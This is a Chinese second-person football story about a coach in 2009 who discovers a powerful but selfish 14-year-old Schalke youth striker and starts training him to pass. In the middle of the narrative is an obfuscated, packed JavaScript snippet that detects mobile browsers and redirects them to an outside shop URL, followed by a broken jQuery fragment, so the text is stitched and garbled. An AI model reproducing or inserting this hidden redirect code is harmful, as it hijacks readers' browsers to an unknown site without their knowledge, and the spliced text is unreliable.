2009年
安德烈亚斯·伯格曼那年在沙尔克04青训营当客座讲师。
他四十出头，秃顶，戴着一副旧眼镜，说话慢条斯理，但眼睛里有一种让人想躲开的光——那种光意味着他看人看得很透。
沙尔克U15的训练赛因为下雨挪到了室内人工草皮球场。
伯格曼本来不想来，他的膝盖老伤受不了阴冷天气，但青训主管说“有几个孩子不错，你帮忙看看”。
他到的时候下半场已经开始了，场上一片混乱——十四个十四岁的男孩挤在半场里，像一群追逐手电筒光点的飞蛾。
然后他看到了你。
不，不是看到你踢球多漂亮——恰恰相反，你踢得很难看。
你比所有人都高半头，肩膀宽阔得像一扇门，每次拿球你都低着头猛冲，把两三个防守球员撞开后一脚射门，不是打飞就是打在守门员身上。
你的队友几乎碰不到球，因为你从来不传。你的教练在场边抱头，喊了三次“韦伯，传球！”，你一次都没听进去。
伯格曼站住了。他靠在围栏上，看了你五分钟，然后问青训主管：“那个高个子，几号？”
“九号，马蒂亚斯·韦伯，十三……不，十四岁了。身体真他妈好，但脑子……”主管用手指在太阳穴旁画圈。
伯格曼没说话。他看你又拿到球了——这次是后场长传，你背身扛住一个后卫，用胸口把球卸下来，球弹得有点远，你跨一步追上去，不等落地，直接半转身凌空抽射。球像炮弹一样轰进上角，守门员没动。
训练赛结束，伯格曼走进更衣室。孩子们正在换衣服，吵吵闹闹，只有你一个人坐在角落，低头解鞋带，鞋带系了个死结，你弄了半天没解开，索性用牙咬。
伯格曼在你面前蹲下来。你抬头看他，眼神里没有崇拜，没有好奇，只有一种“你是谁”的警惕。
“你喜欢射门？”伯格曼问。
你咬着鞋带，含糊地说：“喜欢。”
“不喜欢传球？”
你松开嘴，看了他一眼：“我传球也行，但他们接不住。”
伯格曼笑了。他见过很多爱吹牛的小孩，但你说这句话的时候没有吹牛的意思，你是在陈述事实——你真的觉得队友接不住你的球。伯格曼站起来，从口袋里掏出一张名片，放在你旁边的长椅上。
“明天下午三点，来这个地址。我教你一件事。”
你拿起名片看了看，上面写着：“安德烈亚斯·伯格曼，足球教练（自由职业）”。你把名片揣进裤兜，继续解鞋带。伯格曼转身走了，走到门口时回头看你一眼——你已经放弃了，穿着没解开的球鞋就走了。
——
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17719712|205385||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
——
第二天，你去了。因为你母亲说：“去看看，反正没事干。”
伯格曼租了一个小篮球场，地上用胶带贴出了简单的格子。他让你站在罚球区的位置，自己站在边线，手里拿着一叠彩色卡片。
“今天不射门，只传球。”伯格曼举起一张红色卡片，“红色代表左边，蓝色代表右边。我举什么颜色，你往哪边传。传到我脚下，不能半路停。”
你皱了皱眉：“太简单了吧？”
伯格曼没理你，举起红色卡片。你一脚传球，球滚向左边，偏了半米，从伯格曼脚边滑过。伯格曼没动，又举起蓝色卡片。你又一脚，这次偏了一米。
你脸红了。
伯格曼放下卡片，走过来说：“你踢了这么多年球，连指定方向都传不准。不是因为你技术差，是因为你从来没训练过这个。你只练射门，不练传球——射门是本能，传球才是功夫。”
那天下午你传了一百多脚球，到最后小腿酸胀，脚趾磨出了泡。伯格曼没有一句表扬，只在结束时说了一句：“明天还来。”
你回去了。不是因为喜欢伯格曼——他说话慢得像在念课文，你有一半时间在走神。
你回去是因为你觉得不服气。一个秃头老头凭什么说你传不准？你要证明给他看。
这一证明，就是六年。